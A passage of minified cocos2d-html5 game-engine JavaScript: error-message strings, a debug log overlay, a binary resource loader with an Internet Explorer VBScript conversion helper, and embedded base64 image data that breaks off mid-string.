- OT:"cocos2d: WARNING: Not enough memory to resize the atlas",QT:"cc.SpriteBatchNode.addChild(): Child doesn't belong to Sprite",PT:"cc.SpriteBatchNode.addChild(): sprite batch node should contain the child",MT:"cc.SpriteBatchNode.addQuadFromSprite(): child should be non-null",RT:"cc.SpriteBatchNode.addChild():child should be non-null",d6:"cocos2d: WARNING: originalWidth/Height not found on the cc.SpriteFrame. AnchorPoint won't work as expected. Regenrate the .plist",f6:"cocos2d: WARNING: an alias with name %s already exists",
- c6:"cocos2d: WARNING: Sprite frame: %s has already been added by another source, please fix name conflit",i6:"cocos2d: cc.SpriteFrameCahce: Frame %s not found",e6:"Please load the resource first : %s",g6:"cc.SpriteFrameCache.addSpriteFrames(): plist should be non-null",h6:"Argument must be non-nil",fz:"cc.SpriteBatchNode.updateQuadFromSprite(): cc.SpriteBatchNode only supports cc.Sprites as children",cR:"cc.SpriteBatchNode.insertQuadFromSprite(): cc.SpriteBatchNode only supports cc.Sprites as children",
- ZQ:"cc.SpriteBatchNode.addChild(): cc.SpriteBatchNode only supports cc.Sprites as children",bR:"Sprite.initWithTexture(): Argument must be non-nil ",$Q:"cc.Sprite.addChild(): child should be non-null",eR:"Invalid spriteFrameName",fR:"Invalid argument: cc.Sprite texture setter expects a CCTexture2D.",gR:"cc.SpriteBatchNode.updateQuadFromSprite(): sprite should be non-null",dR:"cc.SpriteBatchNode.insertQuadFromSprite(): sprite should be non-null",aR:"cc.SpriteBatchNode.addChild(): child should be non-null",
- JU:"cocos2d: Could not open file: %s",kI:"cc.TextureAtlas.insertQuad(): invalid totalQuads",KU:"cc.TextureAtlas.initWithTexture():texture should be non-null",UU:"cc.TextureAtlas.updateQuad(): quad should be non-null",VU:"cc.TextureAtlas.updateQuad(): Invalid index",NU:"cc.TextureAtlas.insertQuad(): Invalid index",OU:"cc.TextureAtlas.insertQuad(): Invalid index + amount",LU:"cc.TextureAtlas.insertQuadFromIndex(): Invalid newIndex",MU:"cc.TextureAtlas.insertQuadFromIndex(): Invalid fromIndex",SU:"cc.TextureAtlas.removeQuadAtIndex(): Invalid index",
- TU:"cc.TextureAtlas.removeQuadsAtIndex(): index + amount out of bounds",PU:"cc.TextureAtlas.moveQuadsFromIndex(): move is out of bounds",QU:"cc.TextureAtlas.moveQuadsFromIndex(): Invalid newIndex",RU:"cc.TextureAtlas.moveQuadsFromIndex(): Invalid oldIndex",u6:"TextureCache:addPVRTCImage does not support on HTML5",s6:"TextureCache:addPVRTCImage does not support on HTML5",z6:"textureForKey is deprecated. Please use getTextureForKey instead.",t6:"addPVRImage does not support on HTML5",v6:"cocos2d: Couldn't add UIImage in TextureCache",
- x6:"cocos2d: '%s' id\x3d%s %s x %s",pQ:"cocos2d: '%s' id\x3d HTMLCanvasElement %s x %s",y6:"cocos2d: TextureCache dumpDebugInfo: %s textures, HTMLCanvasElement for %s KB (%s MB)",w6:"cc.Texture.addUIImage(): image should be non-null",AU:"initWithETCFile does not support on HTML5",EU:"initWithPVRFile does not support on HTML5",GU:"initWithPVRTCData does not support on HTML5",wU:"cc.Texture.addImage(): path should be non-null",CU:"cocos2d: cc.Texture2D. Can't create Texture. UIImage is nil",DU:"cocos2d: WARNING: Image (%s x %s) is bigger than the supported %s x %s",
- IU:"initWithString isn't supported on cocos2d-html5",BU:"initWithETCFile does not support on HTML5",FU:"initWithPVRFile does not support on HTML5",HU:"initWithPVRTCData does not support on HTML5",yU:"bitsPerPixelForFormat: %s, cannot give useful result, it's a illegal pixel format",vU:"cocos2d: cc.Texture2D: Using RGB565 texture since image has no alpha",xU:"cc.Texture.addImage(): path should be non-null",zU:"NSInternalInconsistencyException",fd:"Missing file: %s",hP:"cc.radiansToDegress() should be called cc.radiansToDegrees()",
- dA:"Rect width exceeds maximum margin: %s",cA:"Rect height exceeds maximum margin: %s",KR:"If program goes here, there should be event in dispatch.",LR:"_inDispatch should be 1 here."};
- b.VX=function(a){if(b.Wa){var c=b.UX,d=document;if(!c){var e=d.createElement("Div"),c=e.style;e.setAttribute("id","logInfoDiv");b.Wa.parentNode.appendChild(e);e.setAttribute("width","200");e.setAttribute("height",b.Wa.height);c.zIndex="99999";c.position="absolute";c.top="0";c.left="0";c=b.UX=d.createElement("textarea");d=c.style;c.setAttribute("rows","20");c.setAttribute("cols","30");c.setAttribute("disabled",!0);e.appendChild(c);d.backgroundColor="transparent";d.borderBottom="1px solid #cccccc";
- d.borderRightWidth="0px";d.borderLeftWidth="0px";d.borderTopWidth="0px";d.borderTopStyle="none";d.borderRightStyle="none";d.borderLeftStyle="none";d.padding="0px";d.margin=0}a="string"==typeof a?a:JSON.stringify(a);c.value=c.value+a+"\r\n";c.scrollTop=c.scrollHeight}};b.pK=function(a){if("object"===typeof a)try{return JSON.stringify(a)}catch(c){return""}else return a};
- b.wX=function(){var a=b.wb.ne[b.wb.jg.Bs],c=b.wb;if(a!=c.pR){var d;a>c.ZG?(d=b.VX.bind(b),b.error=function(){d("ERROR : "+b.QE.apply(b,arguments))},b.assert=function(a,c){if(!a&&c){for(var g=2;g<arguments.length;g++)c=c.replace(/(%s)|(%d)/,b.pK(arguments[g]));d("Assert: "+c)}},a!=c.mR&&(b.warn=function(){d("WARN : "+b.QE.apply(b,arguments))}),a==c.oR&&(b.log=function(){d(b.QE.apply(b,arguments))})):console&&(b.error=function(){return console.error.apply(console,arguments)},b.assert=function(a,c){if(!a&&
- c){for(var d=2;d<arguments.length;d++)c=c.replace(/(%s)|(%d)/,b.pK(arguments[d]));throw c;}},a!=c.ZG&&(b.warn=function(){return console.warn.apply(console,arguments)}),a==c.nR&&(b.log=function(){return console.log.apply(console,arguments)}))}};b.wX();b.V.y3=function(a,c){var d=this,e=this.vx(),f="load "+a+" failed!";e.open("GET",a,!0);/msie/i.test(navigator.userAgent)&&!/opera/i.test(navigator.userAgent)?(e.setRequestHeader("Accept-Charset","x-user-defined"),e.onreadystatechange=function(){if(4==e.readyState&&200==e.status){var a=b.sJ(e.responseBody);c(null,d.ww(a))}else c(f)}):(e.overrideMimeType&&e.overrideMimeType("text/plain; charset\x3dx-user-defined"),e.onload=function(){4==e.readyState&&200==e.status?c(null,d.ww(e.responseText)):c(f)});
- e.send(null)};b.V.ww=function(a){if(!a)return null;for(var c=new Uint8Array(a.length),d=0;d<a.length;d++)c[d]=a.charCodeAt(d)&255;return c};
- b.V.dha=function(a){var c=this.vx(),d="load "+a+" failed!";c.open("GET",a,!1);a=null;if(/msie/i.test(navigator.userAgent)&&!/opera/i.test(navigator.userAgent)){c.setRequestHeader("Accept-Charset","x-user-defined");c.send(null);if(200!=c.status)return b.log(d),null;(c=b.sJ(c.responseBody))&&(a=this.ww(c))}else{c.overrideMimeType&&c.overrideMimeType("text/plain; charset\x3dx-user-defined");c.send(null);if(200!=c.status)return b.log(d),null;a=this.ww(c.responseText)}return a};
- var Uint8Array=Uint8Array||Array;
- if(/msie/i.test(navigator.userAgent)&&!/opera/i.test(navigator.userAgent)){var ba=b.Rb("script");ba.type="text/vbscript";ba.textContent='\x3c!-- IEBinaryToArray_ByteStr --\x3e\r\nFunction IEBinaryToArray_ByteStr(Binary)\r\n IEBinaryToArray_ByteStr \x3d CStr(Binary)\r\nEnd Function\r\nFunction IEBinaryToArray_ByteStr_Last(Binary)\r\n Dim lastIndex\r\n lastIndex \x3d LenB(Binary)\r\n if lastIndex mod 2 Then\r\n IEBinaryToArray_ByteStr_Last \x3d Chr( AscB( MidB( Binary, lastIndex, 1 ) ) )\r\n Else\r\n IEBinaryToArray_ByteStr_Last \x3d ""\r\n End If\r\nEnd Function\r\n';document.body.appendChild(ba);
- b.sJ=function(a){for(var c={},d=0;256>d;d++)for(var e=0;256>e;e++)c[String.fromCharCode(d+256*e)]=String.fromCharCode(d)+String.fromCharCode(e);d=IEBinaryToArray_ByteStr(a);a=IEBinaryToArray_ByteStr_Last(a);return d.replace(/[\s\S]/g,function(a){return c[a]})+a}};b=b||{};b.eL="data:image/gif;base64,R0lGODlhEAAQALMNAD8/P7+/vyoqKlVVVX9/fxUVFUBAQGBgYMDAwC8vL5CQkP///wAAAP///wAAAAAAACH/C05FVFNDQVBFMi4wAwEAAAAh+QQFAAANACwAAAAAEAAQAAAEO5DJSau9OOvNex0IMnDIsiCkiW6g6BmKYlBFkhSUEgQKlQCARG6nEBwOgl+QApMdCIRD7YZ5RjlGpCUCACH5BAUAAA0ALAAAAgAOAA4AAAQ6kLGB0JA4M7QW0hrngRllkYyhKAYqKUGguAws0ypLS8JxCLQDgXAIDg+FRKIA6v0SAECCBpXSkstMBAAh+QQFAAANACwAAAAACgAQAAAEOJDJORAac6K1kDSKYmydpASBUl0mqmRfaGTCcQgwcxDEke+9XO2WkxQSiUIuAQAkls0n7JgsWq8RACH5BAUAAA0ALAAAAAAOAA4AAAQ6kMlplDIzTxWC0oxwHALnDQgySAdBHNWFLAvCukc215JIZihVIZEogDIJACBxnCSXTcmwGK1ar1hrBAAh+QQFAAANACwAAAAAEAAKAAAEN5DJKc4RM+tDyNFTkSQF5xmKYmQJACTVpQSBwrpJNteZSGYoFWjIGCAQA2IGsVgglBOmEyoxIiMAIfkEBQAADQAsAgAAAA4ADgAABDmQSVZSKjPPBEDSGucJxyGA1XUQxAFma/tOpDlnhqIYN6MEAUXvF+zldrMBAjHoIRYLhBMqvSmZkggAIfkEBQAADQAsBgAAAAoAEAAABDeQyUmrnSWlYhMASfeFVbZdjHAcgnUQxOHCcqWylKEohqUEAYVkgEAMfkEJYrFA6HhKJsJCNFoiACH5BAUAAA0ALAIAAgAOAA4AAAQ3kMlJq704611SKloCAEk4lln3DQgyUMJxCBKyLAh1EMRR3wiDQmHY9SQslyIQUMRmlmVTIyRaIgA7";
- b.no="data:image/png;base64,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\x3d";
- b.gC="data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAAAlAAD/4QMpaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu+7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI+IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI+IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcE1NPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvbW0vIiB4bWxuczpzdFJlZj0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL3NUeXBlL1Jlc291cmNlUmVmIyIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjM4MDBEMDY2QTU1MjExRTFBQTAzQjEzMUNFNzMxRkQwIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjM4MDBEMDY1QTU1MjExRTFBQTAzQjEzMUNFNzMxRkQwIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgV2luZG93cyI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOkU2RTk0OEM4OERCNDExRTE5NEUyRkE3M0M3QkE1NTlEIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOkU2RTk0OEM5OERCNDExRTE5NEUyRkE3M0M3QkE1NTlEIi8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+/+4ADkFkb2JlAGTAAAAAAf/bAIQADQkJCQoJDQoKDRMMCwwTFhENDREWGhUVFhUVGhkUFhUVFhQZGR0fIB8dGScnKionJzk4ODg5QEBAQEBAQEBAQAEODAwOEA4RDw8RFA4RDhQVERISERUfFR